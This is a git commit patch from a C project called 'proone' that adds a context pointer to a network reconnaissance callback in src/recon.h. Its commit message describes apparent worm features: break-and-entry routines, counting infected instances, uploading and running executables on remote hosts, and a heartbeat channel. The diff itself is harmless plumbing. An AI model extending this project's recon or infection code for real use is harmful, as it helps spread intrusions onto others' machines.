From 86038b950f0aaddca7108e903568159414a8d64a Mon Sep 17 00:00:00 2001 From: David Timber Date: Sun, 27 Sep 2020 22:51:11 +0930 Subject: * Disable armv7, aarch64, x86_64 target * Apply recon and bne to proone * Add callback contexts on htbt and bne * Fix mem leak in bne_sh_cleanup_upload() * Use prne_static_assert() instead of _Static_assert() * Use prne_free_worker() rather than calling free_ctx() * Add prne_eq_ipaddr() * bne * Add prne_bne_result::ny_instance to impl infect_cnt * Don't delete tmp upload dir after successful bne_sh_run_exec() so that proone can make tmp files * Silently ignore PRNE_BNE_V_HTBT if htbt_ssl_conf is not set * Add prne_bne_get_subject() * htbt * Fix crash bug when running without resolv * proone: set pth priority --- src/recon.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) (limited to 'src/recon.h') diff --git a/src/recon.h b/src/recon.h index 0a00b6f..99b8d58 100644 --- a/src/recon.h +++ b/src/recon.h @@ -8,7 +8,7 @@ typedef struct prne_recon prne_recon_t; typedef struct prne_recon_param prne_recon_param_t; typedef struct prne_recon_network prne_recon_network_t; -typedef void(*prne_recon_evt_ft)(const prne_net_endpoint_t *ep); +typedef void(*prne_recon_evt_ft)(void *ctx, const prne_net_endpoint_t *ep); struct prne_recon_network { prne_ip_addr_t addr; @@ -29,6 +29,7 @@ struct prne_recon_param { size_t cnt; } ports; prne_recon_evt_ft evt_cb; + void *cb_ctx; bool ownership; }; -- cgit